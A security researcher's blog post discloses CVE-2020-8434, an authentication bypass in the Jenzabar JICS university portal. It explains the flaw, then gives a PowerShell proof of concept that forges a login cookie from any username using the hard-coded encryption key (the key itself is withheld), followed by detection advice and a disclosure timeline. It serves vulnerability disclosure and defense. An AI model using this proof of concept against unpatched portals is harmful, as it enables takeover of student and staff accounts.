Michael Davis Follow
Apr 30, 2020 · 3 min read · Listen

Higher Ed ERP Portal Vulnerability — Auth Bypass to Login Any Account

CVE-2020-8434
tl;dr:
Vulnerability in Jenzabar JICS (all unpatched versions), a Higher Ed ERP portal used by numerous small-to-medium sized colleges/universities, allows circumventing the authentication mechanism to login as any user knowing only the username.

auth bypass

Further Information

Jenzabar Internet Campus Solution (JICS), about which I've written previously [1, 2, 3], has what appears to be a vestigial session persistence mechanism that ties a cookie named JICSLoginCookie and its encrypted/base64 encoded value to a username for session authentication. I say "vestigial" because the extant session persistence method uses an ASP.NET_SessionID cookie to tie to a server-side session with a random ID (good). However, the JICS software still checks for the existence of the client-side JICSLoginCookie cookie (bad) and, if present, employs it first for session authentication which subsequently bypasses any need to login or approve MFA if implemented.

The issue is mostly problematic because the username encryption function employs a hard-coded, non-unique encryption key. By leveraging this key and the same AES encryption function, anyone can select a username, pass it through the function, and base64 encode its output to the final string value for the JICSLoginCookie. Voila, authenticated as any user without knowing a password.

PowerShell POC:

```
[Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null
function Encode-Bytes {
 Param (
  [Parameter(Position = 0, Mandatory = $True)]
  [String]
  $ClearText,

  [Parameter(Position = 1, Mandatory = $False)]
  [String]
  $Key = '<hard-coded encryption key here>'
 )

 $ClearTextToBytes = [System.Text.Encoding]::Unicode.GetBytes($ClearText)
 [Byte[]] $HardCodedSaltAsBytes = (73, 118, 97, 110, 32, 77, 101, 100, 118, 101, 100, 101, 118)
 $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Key, $HardCodedSaltAsBytes)

 $ResultInBytes = Encrypt-Bytes -ClearTextBytes $ClearTextToBytes -Key $DerivedPass.GetBytes(32) -IVBytes $DerivedPass.GetBytes(16)

 [Convert]::ToBase64String($ResultInBytes)

}
function Encrypt-Bytes {
 Param (
  [Parameter(Position = 0, Mandatory = $True)]
  [Byte[]]
  $ClearTextBytes,

  [Parameter(Position = 1, Mandatory = $True)]
  [Byte[]]
  $Key,

  [Parameter(Position = 2, Mandatory = $True)]
  [Byte[]]
  $IVBytes
 )
```

```
# Creates a MemoryStream to do the encryption in
 $MemStream = New-Object System.IO.MemoryStream

 # Create a COM Object for RijndaelManaged Cryptography
 $Rijndael = New-Object System.Security.Cryptography.RijndaelManaged
 $Rijndael.Key = $Key
 $Rijndael.IV = $IVBytes

 # Creates the new Crypto Stream --> Outputs to Memory Stream
 $CryptoStream = New-Object Security.Cryptography.CryptoStream($MemStream, $Rijndael.CreateEncryptor(),
[System.Security.Cryptography.CryptoStreamMode]::Write)

 #Writes the string in the Crypto Stream
 $CryptoStream.Write($ClearTextToBytes, 0, $ClearTextToBytes.Length)
 $CryptoStream.Close()

 [Byte[]]$OutputBytes = $MemStream.ToArray()

 $OutputBytes

}

C:\> Encode-Bytes -ClearText 'testadmin'
<base64 encoded output to be added as value of JICSLoginCookie>
```

Detection

Since the JICSLoginCookie doesn't seem to be legitimately used anywhere, watching IIS or upstream logs (load balancer, WAF, etc.) for the use of that cookie and alerting on that might be a good true positive indicator of a bypass attempt.

Disclosure Timeline

2020-Jan-21: Confirmed the vulnerability in a test environment
2020-Jan-27: Reported issue to vendor
2020-Jan-27: Vendor acknowledged receipt of report
2020-Jan-28: Vendor completed initial triage and confirmed findings
2020-Jan-29: CVE-2020–8434 issued
2020-Jan-29: Vendor expected patch availability within one week
2020-Feb-07: Vendor notified customer listserv with manual mitigation steps including a SQL query that changes static encryption key to something unique; also noted they intend to deliver a future patch to further shore up login security
2020-Mar: The following patches issued to correct the vulnerability:
Existing Version : Patch
9.0 : 9.0.1 Patch 3
9.1 : 9.1.2 Patch 2
9.2 : 9.2.2 Patch 8
2020-Apr-30: Published this page +90 days from initial disclosure as requested by vendor

Infosec Higher Education Cybersecurity Vulnerability Web Development